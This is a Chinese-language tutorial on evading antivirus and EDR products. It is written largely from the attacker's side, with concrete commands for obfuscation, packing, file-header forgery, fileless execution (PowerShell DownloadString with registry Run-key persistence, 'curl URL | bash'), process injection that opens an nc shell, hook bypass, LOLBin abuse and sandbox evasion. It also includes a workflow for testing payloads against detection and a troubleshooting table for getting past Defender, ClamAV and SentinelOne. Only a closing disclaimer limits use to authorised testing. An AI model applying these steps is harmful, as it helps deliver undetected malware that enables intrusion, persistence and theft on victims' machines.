免杀(Bypass AV/EDR)是网络安全领域中,攻击者为规避杀毒软件(AV)、终端检测与响应系统(EDR)的识别和拦截,使恶意代码成功在目标终端执行的一系列技术手段的统称。其核心是围绕 AV/EDR 的检测逻辑弱点,通过改造恶意代码形态、伪装执行行为等方式,打破检测链路,实现“隐蔽执行”的目标。以下从原理、作用、实现三个维度展开详细解析。

一、免杀(Bypass AV/EDR)核心原理
免杀的本质是“针对性对抗检测系统的判定逻辑”,AV 与 EDR 的检测机制存在差异,免杀原理也需针对性设计,核心可分为两类检测逻辑的突破:
对抗 AV 检测的核心原理
传统 AV 依赖“静态特征匹配”和“简单启发式分析”两大核心逻辑:
- 静态特征匹配:AV 预先采集海量恶意文件的特征码(如特定代码片段、文件哈希值、文件头标识),扫描时将目标文件与特征库逐一比对,匹配成功则判定为恶意;
- 简单启发式分析:对文件的代码结构、执行逻辑进行初步判断(如是否包含敏感 API 调用),但精准度较低,易被绕过。
对抗 AV 的免杀原理是“破坏静态特征匹配依据”,通过修改恶意文件的表面形态(不改变核心功能),让 AV 无法从特征库中找到匹配项,或通过伪装让启发式分析误判为合法文件。
对抗 EDR 检测的核心原理
EDR 作为进阶终端防护系统,更侧重“动态行为监控”和“未知威胁检测”,核心逻辑包括:
- 实时行为审计:监控终端的进程创建、内存操作、API 调用、网络连接等行为,通过“恶意行为链”(如下载恶意组件→解密执行→创建远控连接)判定威胁;
- 内存特征检测:对进程内存空间进行扫描,识别注入的恶意代码、异常内存读写行为;
- 沙箱动态分析:将可疑文件放入模拟环境(沙箱)中运行,观察其行为是否存在恶意。
对抗 EDR 的免杀原理是“避开动态行为监控范围”或“伪造合法行为特征”,打破恶意行为链的连贯性,或通过技术手段让 EDR 无法捕获关键操作日志,从而规避检测与拦截。
二、免杀(Bypass AV/EDR)的核心作用
免杀本身并非攻击目的,而是攻击者实现后续攻击目标的“前置手段”,核心作用体现在以下三个环节:
(一)突破终端防护壁垒,实现恶意代码落地执行
当前绝大多数终端(个人电脑、服务器、工控设备)均部署了 AV/EDR 作为基础防护,未经过免杀处理的恶意代码(如木马、远控程序、勒索病毒载荷)会被直接拦截删除。免杀技术可让恶意代码成功穿透防护体系,在目标终端上启动执行,为后续攻击铺路。
(二)隐蔽攻击行为,延长攻击窗口期
若恶意代码执行时被 EDR 检测告警,防御方会立即采取隔离终端、溯源攻击源、清理恶意代码等措施,攻击会被快速终止。免杀技术可让恶意代码在“无告警”状态下隐蔽运行,攻击者能获得更长的操作时间,完成数据窃取、权限提升、内网横向移动等核心攻击动作。
(三)适配不同攻击场景,提升攻击成功率
不同场景下的终端防护强度、AV/EDR 部署类型存在差异(如企业内网多部署 EDR,个人终端多使用 AV),针对性的免杀方案可适配不同场景:例如针对企业内网的 EDR,采用内存级免杀技术;针对个人终端的 AV,采用文件级免杀技术,大幅提升攻击的适配性和成功率。
三、免杀(Bypass AV/EDR)的核心实现方案
根据对抗对象(AV/EDR)和技术维度,免杀实现可分为文件级、内存级、行为欺骗三大类,每类包含多种实战技术,具体实现方式如下:
(一)文件级免杀:适配对抗 AV 静态检测
核心目标是改造恶意文件的静态特征,让 AV 无法识别,常见实现方式:
1. 代码混淆(Code Obfuscation)
实现步骤:通过自动化工具或手动修改,对恶意代码进行“形态改造”,核心操作包括:变量名/函数名随机化(将 ExecuteMalware() 改为 xY7zQ2())、字符串加密(用 Base64 二次编码、XOR 异或加密敏感字符串如 cmd.exe/bash)、代码冗余填充(插入无效指令打乱结构)、控制流平坦化(将分支逻辑转为线性结构,打破特征匹配规则)。常用工具及跨平台实操:① Veil-Evasion(跨平台开源工具):Linux下直接通过 apt install veil-evasion 安装,运行 veil-evasion 后选择对应语言模块(Windows选C#/PowerShell,Linux选Python/C),配置混淆参数(字符串加密、控制流混淆),生成免杀Payload,可通过 /etc/veil/settings.py 调整配置,定位并修改触发AV查杀的精确字符串,提升绕过率;② 手动混淆辅助:Windows用Ghidra反编译,Linux用IDA Pro或Radare2,定位敏感特征片段,逐段替换并测试查杀结果,精确定位需混淆的关键区域;③ O-LLVM(Linux专属混淆框架):针对C/C++恶意代码,编译时加入 -mllvm -fla(控制流平坦化)、-mllvm -sub(指令替换)参数,生成混淆后的可执行文件,适配对抗Linux平台AV(如ClamAV)。
实战特点:操作门槛低,适合批量处理恶意代码,可有效绕过基于特征码的 AV 检测,但对具备深度启发式分析的 AV 防护效果有限。
2. 文件加壳/打包(Packing)
实现步骤:使用加壳工具对恶意文件进行压缩、加密,生成“外壳程序”。常用工具及跨平台实操:① UPX(跨平台开源工具):Windows下直接运行命令,Linux下通过 apt install upx 安装后,执行 upx -9 malware -o malware_upx(Linux无.exe后缀),-9为最高压缩比,初步隐藏特征;脱壳可执行 upx -d malware_upx,单一UPX加壳易被特征识别,Linux建议搭配UPX-Mod(壳变形工具)修改外壳特征,避免ClamAV特征库匹配;② VMProtect(Windows为主,Linux兼容版):导入Linux恶意ELF文件,勾选“虚拟指令”“混淆代码”选项,自定义加密密钥,生成加壳文件,其虚拟指令集可大幅提升逆向分析难度,适配对抗高端Linux EDR(如SentinelOne);③ Shielden(Linux专属轻量加壳工具):通过 git clone https://github.com/0x00pf/Shielden.git 克隆编译,执行 ./shielden -i malware -o malware_shielded,支持自定义压缩算法和加密密钥,适合Linux终端初步免杀。加壳后的文件运行时,外壳会先在内存中解密、解压内部恶意代码,再交给系统执行,Linux下需确保加壳后文件权限正常(chmod +x 赋予执行权限)。
实战特点:可直接隐藏恶意代码的静态特征,AV 仅能扫描到外壳的合法特征(如压缩程序标识),但部分主流 AV 已收录常见加壳工具特征,需搭配“壳变形”技术使用。
3. 文件格式伪装
实现步骤:篡改恶意文件的关键标识,伪装成合法文件格式,核心操作包括:
- 扩展名伪装:利用 Windows 系统“隐藏已知文件扩展名”的默认设置,将
malware.exe 改为 malware.docx.exe,诱导用户误判为文档文件;
- 文件头伪造:修改文件头标识(如将 EXE 文件的
MZ 头改为 PDF 文件的 %PDF-1.7 头),欺骗 AV 对文件类型的识别,跳过针对性扫描。
(二)内存级免杀:适配对抗 EDR 动态检测
核心目标是让恶意代码在内存中隐蔽执行,不留下磁盘痕迹,避开 EDR 的行为监控,常见实现方式:
1. 无文件执行(Fileless Execution)
实现步骤:恶意代码不写入磁盘文件(即“不落地”),直接通过系统合法工具加载到内存执行。跨平台方式及实操:① Windows平台:通过PowerShell、WMI、Mshta.exe执行内存脚本,如PowerShell命令 Invoke-Expression (New-Object Net.WebClient).DownloadString('恶意脚本URL'),搭配PowerShell Injector工具(适用于Windows 7及以上),直接将脚本注入内存进程,避免命令行暴露;通过 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Test /d "powershell -exec bypass -Command IEX (New-Object Net.WebClient).DownloadString('URL')" 写入注册表,开机通过脚本读取执行。② Linux平台:借助Bash、Python内存加载,如执行 bash -c "curl -s 恶意脚本URL | bash",直接将脚本内容通过管道传递给bash内存执行,无磁盘残留;搭配MemShell-Linux工具,通过 git clone https://github.com/lightos/MemShell-Linux.git 编译,执行 ./memshell -u 恶意PayloadURL -p bash,将Payload注入bash进程内存,全程不落地。③ 跨平台辅助工具Veil-Catapult:集成Veil-Evasion生成的免杀Payload,Windows用Impacket工具上传至内存,Linux用SSH隧道+python -c命令加载,通过Passing-the-Hash/Passing-the-Kerb实现无文件执行。
实战特点:完全避开 EDR 对磁盘文件的扫描,且借助系统合法工具执行,易被误判为正常操作,防护难度极高。
2. 进程注入(Process Injection)
实现步骤:将恶意代码注入到系统合法进程(Windows选explorer.exe/svchost.exe,Linux选bash/sshd/systemd)的内存空间,借助合法进程的权限和信任标识执行。跨平台核心流程及工具实操:① Windows平台(pinjector工具):执行 pinjector.exe -l 查看可利用进程及权限,选择目标PID(如1284),执行 pinjector.exe -p 1284 cmd 1234,将cmd注入目标进程并开启1234侦听端口,后续通过Kali的 nc -nv 目标IP 1234 连接获取Shell。② macOS平台(process_inject工具):先关闭SIP(Recovery模式执行 csrutil disable 并重启),执行 process_inject 1234 "/path/your.dylib"(1234为目标PID,dylib为注入动态库),注入系统进程需加sudo权限。③ Linux平台:工具一(injectso),通过 apt install libelf-dev 安装依赖,编译后执行 ./injectso -p 1234 /path/your.so(1234为bash进程PID,so为恶意动态库),注入后通过 nc 目标IP 4567 连接;工具二(手动ptrace注入),编写C语言注入程序,调用ptrace函数附加目标进程(ptrace(PTRACE_ATTACH, pid, NULL, NULL)),分配内存(mmap)、写入恶意代码(ptrace(PTRACE_POKETEXT)),最后恢复进程执行(ptrace(PTRACE_CONT)),适合对抗Linux EDR的进程监控。
实战特点:EDR 仅能监控到合法进程的正常活动,无法识别其内存中隐藏的恶意代码,有效掩盖攻击主体。
3. EDR 钩子绕过(Hook Bypass)
实现步骤:EDR 通常通过“钩子(Hook)”技术拦截用户态 API 调用(如进程创建 CreateProcess、文件写入 WriteFile),以此监控恶意行为。绕过方式包括:
- 直接系统调用(Direct Syscall):跳过被 EDR 挂钩的用户态 API,直接通过
Syscall 指令调用内核态系统函数(如调用 NtCreateProcess 替代 CreateProcess),让 EDR 无法捕获 API 调用日志;
- 钩子卸载:通过内存篡改技术,移除 EDR 安装在目标进程中的 Hook 函数(如修改 Hook 指向的内存地址),解除 EDR 的监控。
(三)行为欺骗免杀:通用对抗 AV/EDR 判定逻辑
核心目标是伪造合法行为,干扰检测系统的判定逻辑,常见实现方式:
1. 白名单进程代理(Living-off-the-Land, LOLBins)
实现步骤:利用AV/EDR信任的系统合法进程(白名单进程)执行恶意操作,跨平台白名单进程及实操:① Windows平台:msbuild.exe代理(嵌入恶意C#代码到.csproj文件,执行 msbuild.exe /t:Build 恶意项目.csproj)、regsvr32.exe代理(封装OCX控件,执行 regsvr32.exe /s /i:恶意控件.ocx scrobj.dll)。② Linux平台:gcc代理(将恶意代码嵌入.c文件注释区,执行 gcc -o temp temp.c && ./temp,编译过程中偷偷加载内存Payload)、ld代理(系统链接器,执行 ld -o temp --entry=main 恶意.so,借助链接过程执行恶意代码)、curl+bash组合(curl -s 恶意URL | bash,利用系统工具链实现代理执行)。③ 跨平台搭配Metasploit:Windows用certutil.exe下载Payload,Linux用wget -qO- 恶意URL | bash下载并执行,均通过白名单进程掩盖恶意行为,降低EDR拦截概率。
2. 沙箱逃逸(Sandbox Evasion)
实现步骤:恶意代码先检测当前运行环境是否为 AV/EDR 的沙箱(模拟环境),若为沙箱则不执行核心恶意操作,仅表现为合法行为;进入真实终端后再激活恶意功能。检测沙箱的常用方法:
- 资源检测:沙箱通常 CPU 核心少、内存小、硬盘容量低,通过
wmic cpu get NumberOfCores、wmic diskdrive get Size 等命令检测资源配置;
- 时间检测:沙箱模拟运行时间短(通常几秒到几分钟),通过检测系统运行时长(
net time)判断是否为沙箱;
- 硬件检测:沙箱缺少真实硬件驱动(如显卡、声卡),通过枚举硬件设备列表判断环境真实性。
3. 延时/分段执行
实现步骤:拆分恶意行为链,或延迟核心恶意操作,打破 EDR 对“连续恶意行为”的检测逻辑。例如,将恶意流程拆分为“下载组件→解密组件→执行攻击”三步,每步间隔 12 小时;或通过 Windows 任务计划程序(schtasks)设置恶意代码在植入后 24 小时执行,避开 EDR 的实时监控窗口。
四、免杀效果验证方案(工具实操)
免杀方案实施后,需通过线上查杀平台与本地模拟环境双重验证,确保能绕过目标场景的AV/EDR。以下为常用测试工具及跨平台实操步骤:
(一)线上查杀平台:批量验证静态特征绕过效果
1. VirusTotal(主流跨平台工具)
实操步骤:① 浏览器访问 https://www.virustotal.com ,登录后点击“Upload a file”,上传免杀处理后的文件(Windows为.exe,Linux为ELF文件,大小不超过650MB);② 等待5-10分钟生成查杀报告,重点查看“Detection ratio”(查杀率),若30+款AV/EDR中查杀数低于5款,说明静态绕过效果合格;③ 针对查杀率过高的文件,点击具体AV厂商(如360、ClamAV)的告警信息,定位触发特征(如“UPX加壳”“敏感字符串”),反向优化免杀方案(如更换加壳工具、二次混淆)。
进阶技巧:Linux下可通过VirusTotal API批量上传测试,执行 curl -F "file=@malware_upx" -H "x-apikey: 你的API密钥" https://www.virustotal.com/api/v3/files,适合批量验证不同混淆/加壳参数的效果。
2. NoDistribute(专注免杀专项测试)
实操步骤:针对EDR动态检测场景,上传文件后勾选“Dynamic Analysis”(动态分析),平台会模拟Windows/Linux真实终端环境(部署主流EDR如CrowdStrike、SentinelOne),运行文件并生成行为报告;重点关注是否被标记“恶意行为链”“内存注入”告警,无告警则说明动态绕过有效。
3. 专属测试用例设计(按免杀技术分类)
针对核心免杀技术设计定向测试用例,精准验证绕过效果:
- 代码混淆/加壳技术:取同一基础恶意样本(如Linux ELF后门、Windows EXE远控),分别做三组处理:① 单一UPX加壳;② UPX加壳+O-LLVM混淆(编译参数
-mllvm -fla -mllvm -sub);③ VMProtect加壳(勾选虚拟指令)。分别上传VirusTotal,记录3组查杀率(目标组合方案②/③查杀数较①降低50%以上);同时本地用ClamAV(Linux)、火绒(Windows)做静态扫描,验证无“加壳恶意文件”“混淆代码可疑”告警,且样本可正常启动。
- 文件格式伪装技术:选取同一ELF恶意样本,用01编辑器修改文件头:① 改为PDF头(
%PDF-1.7);② 改为JPG头(FF D8 FF E0),保留原文件执行权限(Linux chmod +x)。上传VirusTotal查看文件类型识别结果,需均被判定为对应合法格式;本地双击运行(Windows需关闭扩展名隐藏),验证可正常触发Payload且无AV拦截告警。
(二)本地环境:模拟目标场景验证动态绕过效果
1. Windows本地验证
实操步骤:① 启用Windows Defender(或目标AV如360、火绒),更新病毒库至最新;② 关闭安全沙箱(避免干扰测试),执行免杀文件(如无文件执行脚本、进程注入程序);③ 查看AV/EDR日志:Windows Defender通过“事件查看器→Windows日志→安全”查看是否有“恶意软件拦截”记录,EDR(如火绒终端安全)在控制台查看“行为告警”;④ 若能正常执行Payload(如获取Shell)且无告警,说明动态绕过成功。
2. Linux本地验证
实操步骤:① 安装ClamAV(主流Linux AV),执行 apt install clamav clamav-daemon 安装,freshclam 更新病毒库;② 扫描免杀文件:clamscan -r malware_shielded,无“FOUND”提示说明静态绕过;③ 模拟EDR环境:部署SentinelOne Linux客户端,运行免杀程序(如内存注入脚本),查看EDR控制台是否有“异常进程行为”“内存读写告警”,无告警且Payload正常执行即为合格。
3. 故障排除(按免杀技术分类)
为方便快速定位并解决测试故障,以下将三大核心技术的故障排查内容整理为表格,按“技术类型-故障现象-排查步骤-解决方案”分类呈现:
| 核心技术 |
故障现象 |
排查步骤 |
解决方案 |
| 无文件执行技术 |
Windows PowerShell提示“无法加载脚本”,执行失败 |
1. 检查PowerShell执行策略;2. 查看EDR日志,判断是否拦截WebClient下载行为 |
1. 执行Set-ExecutionPolicy Bypass -Scope CurrentUser开启策略;2. 改用WMI命令绕过EDR拦截 |
|
Linux脚本被ClamAV拦截,日志出现恶意脚本告警 |
查看ClamAV日志,确认告警为脚本特征匹配导致 |
Base64编码脚本后解码执行,命令:bash -c "base64 -d mal.b64 \| bash" |
| 进程注入技术 |
注入时提示“权限不足”,无法附加目标进程 |
1. 检查当前权限是否为管理员/root;2. 确认目标进程是否为高权限系统进程 |
1. 提权运行工具(Windows管理员、Linux加sudo);2. 更换低敏感目标进程 |
|
注入成功但EDR触发“异常内存读写”告警 |
查看EDR告警详情,定位关联的注入进程及内存操作 |
1. 更换目标进程避开EDR监控;2. 采用间接注入方式隐藏行为 |
| 沙箱逃逸技术 |
沙箱中误触发恶意行为,被标记为恶意样本 |
检查逃逸逻辑,确认是否仅依赖单一判断条件(如仅检测CPU核心数) |
优化多条件组合判断(CPU+硬盘+运行时长),降低误判概率 |
|
真实终端无法触发Payload,疑似被判定为沙箱 |
排查逃逸逻辑阈值,确认是否设置过度严格 |
调整阈值(如CPU核心数判定≥2),适配真实终端配置差异 |
表格涵盖测试中高频故障场景,可根据实际告警信息快速定位问题并落地解决方案,搭配测试日志留存可进一步提升故障排查效率。
测试注意事项
- 线上平台避免上传高度敏感Payload(如定制化勒索病毒、专属远控后门),防止被厂商收录特征后反向拦截;
- 本地测试需搭建隔离虚拟机环境(如VMware,关闭网络桥接),测试后立即快照还原,避免恶意代码扩散至本地网络;
- 优先模拟目标场景的AV/EDR型号(企业内网常用CrowdStrike、个人终端常用360/火绒),测试时开启对应工具的“实时防护”“行为监控”全功能,结果更贴合实战;
- 每轮测试后留存日志(AV/EDR告警日志、样本执行日志),便于结合故障排查方案反向优化免杀参数;
- 排查故障时优先定位“告警类型”(静态/动态),再对应调整免杀方案(静态告警优化混淆/加壳,动态告警优化行为伪装)。
五、实现注意事项
- 免杀技术需“与时俱进”:AV/EDR厂商会持续更新特征库和检测规则,过时的免杀手段(如简单 UPX 加壳)易被拦截,需结合最新防护技术调整实现方案;
- 避免单一技术依赖:单一免杀手段的防护效果有限,实战中需组合使用(如“代码混淆+无文件执行+沙箱逃逸”),提升绕过成功率;
- 适配目标环境:需提前调研目标终端的 AV/EDR 类型(如 360、火绒、CrowdStrike),针对性设计免杀方案,不同厂商的检测逻辑差异较大。
免杀(Bypass AV/EDR)的核心是“对抗检测逻辑”,其原理围绕 AV 的静态特征匹配和 EDR 的动态行为监控展开,作用是为后续攻击突破防护壁垒、争取操作时间,实现方式需根据攻击场景和防护类型灵活组合。需注意,免杀技术本身具有极强的攻击性,仅可用于合法的网络安全渗透测试、防护能力验证场景,严禁用于非法攻击行为,否则将承担相应法律责任。若想了解更多关于逆向工程与安全攻防的深度讨论,欢迎访问云栈社区与其他技术爱好者交流。
